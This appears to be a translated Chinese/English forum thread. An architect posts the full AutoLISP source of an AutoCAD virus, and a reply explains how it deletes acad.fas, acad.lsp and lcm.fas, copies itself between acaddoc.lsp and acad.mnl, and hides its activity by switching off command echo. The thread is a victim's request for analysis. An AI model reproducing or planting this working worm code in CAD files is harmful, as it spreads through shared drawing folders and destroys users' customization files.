调试这个 LISP 病毒正在做什么 [英] Debugging what this LISP Virus is doing

问题描述

我的公司受到了 AutoCAD 病毒的攻击，该病毒正在删除我们的 acaddoc.lsp 并将其替换为以下例程.

My firm has been hit by an AutoCAD virus that is deleting and replacing our acaddoc.lsp with the routine below.

我是一名建筑师，并不确定重复的查找"在做什么.和删除".

I'm an architect and not exactly sure what this is doing by the repetitive "find" and "deletes".

1. 用(当前正在搜索 acadapq)替换文件是什么?
2. 谁为 AutoCAD 编写病毒?！?！

有人见过这个吗?CAD 论坛不是很有帮助.

Has anyone seen this before? the CAD forums aren't very helpful.

(setq wold_cmd (getvar "cmdecho"))
(setvar "cmdecho" 0)
(setq bb 2)
(setq dpath (getvar "dwgprefix"))
(setq wpath (getvar "menuname"))
(setq wpath (substr wpath 1 (- (strlen wpath) 4)))

(setq n 0)
(while (< n 1)
  (if (findfile "acad.fas")
      (if (vl-file-delete (findfile "acad.fas"))
          (setq n 0))
      (setq n 2)))

(setq n 0)
(while (< n 1)
  (if (findfile "lcm.fas")
      (if (vl-file-delete (findfile "lcm.fas"))
          (setq n 0))
      (setq n 2)))

(setq n 0)
(while (< n 1)
  (if (findfile "acad.lsp")
      (if (vl-file-delete (findfile "acad.lsp"))
          (setq n 0))
      (setq n 2)))

(defun wwriteapp ()
  (if (setq wwjm1 (open wnewacad "w"))
      (progn
        (setq wwjm (open woldacad "r"))
        (while (setq wwz (read-line wwjm))
          (write-line wwz wwjm1))
        (close wwjm)
        (close wwjm1))))

(setq lbz 0)
(setq wwjqm (strcat dpath "acaddoc.lsp"))
(if (setq wwjm (open wwjqm "r"))
    (progn
      (repeat 3 (read-line wwjm))
      (setq wz (read-line wwjm))
      (setq ab (atoi (substr wz 4 1)))
      (close wwjm)
      (if (> ab bb)
          (setq lbz 1))))

(setq wwjqm (strcat wpath "acad.mnl"))

(if (setq wwjm (open wwjqm "r"))
    (progn
      (repeat 3 (read-line wwjm))
      (setq wz (read-line wwjm))
      (setq nb (atoi (substr wz 4 1)))
      (close wwjm)
      (if (< nb bb)
          (setq lbz 1)))
    (setq lbz 1))
(if (= lbz 1)
    (progn
      (setq woldacad (strcat dpath "acaddoc.lsp"))
      (setq wnewacad (strcat wpath "acad.mnl"))
      (wwriteapp)))
(if (and (/= (substr dpath 1 1) (chr 67))
         (/= (substr dpath 1 1) (chr 68))
         (/= (substr dpath 1 1) (chr 69))
         (/= (substr dpath 1 1) (chr 70)))
    (progn
      (setq woldacad (strcat wpath "acad.mnl"))
      (setq wnewacad (strcat dpath "acaddoc.lsp"))
      (wwriteapp))
    (vl-file-delete (strcat dpath "acaddoc.lsp")))
;load "acadapq")
(setvar "cmdecho" wold_cmd)

推荐答案

它正在做一个支持文件路径遍历、删除和替换常见的 AutoCAD 自定义文件.(acad.fas"、acad.lsp"、acaddoc.lsp")我不知道lcm.fas"是什么.它是 AutoCAD 垂直产品(即 AutoCAD 机械或建筑桌面)的一部分吗?

It is doing a support file path walk, delete and replace of the common AutoCAD customization files. ("acad.fas","acad.lsp", "acaddoc.lsp") I do not know what "lcm.fas" is all about. Is it part of an AutoCAD vertical product ie AutoCAD mechanical or Architectural desktop?

循环本质上是虽然我一直在支持路径上找到删除它".

The looping is essentially "while I keep finding on the support path delete it".

据我所知，AutoCAD 没有内置防御措施.(可能有一些 acad 系统变量会停止执行这些文件).

So far as I know AutoCAD has no built in defense against this. (There may be some acad system var that stops execution of these files).

cmdecho"行正在保存和恢复允许/抑制命令回显的系统变量.运行时将其关闭(因此您不会注意到)然后恢复原始设置.

The "cmdecho" lines are saving and restoring the system variable that allows/suppresses the echoing of commands. Turns it off while running (so you don't notice) then restores the original setting.

一种礼貌的病毒:

当 AutoCAD 启动时，它会执行第一个acad.fas"&它在其支持路径上找到的第一个acad.lsp".每次 AutoCAD 加载新的 .dwg 时，它都会执行acaddoc.lsp".

When AutoCAD starts up it executes the first "acad.fas" & first "acad.lsp" it finds on it's support path. Everytime AutoCAD loads a new .dwg it executes the "acaddoc.lsp".

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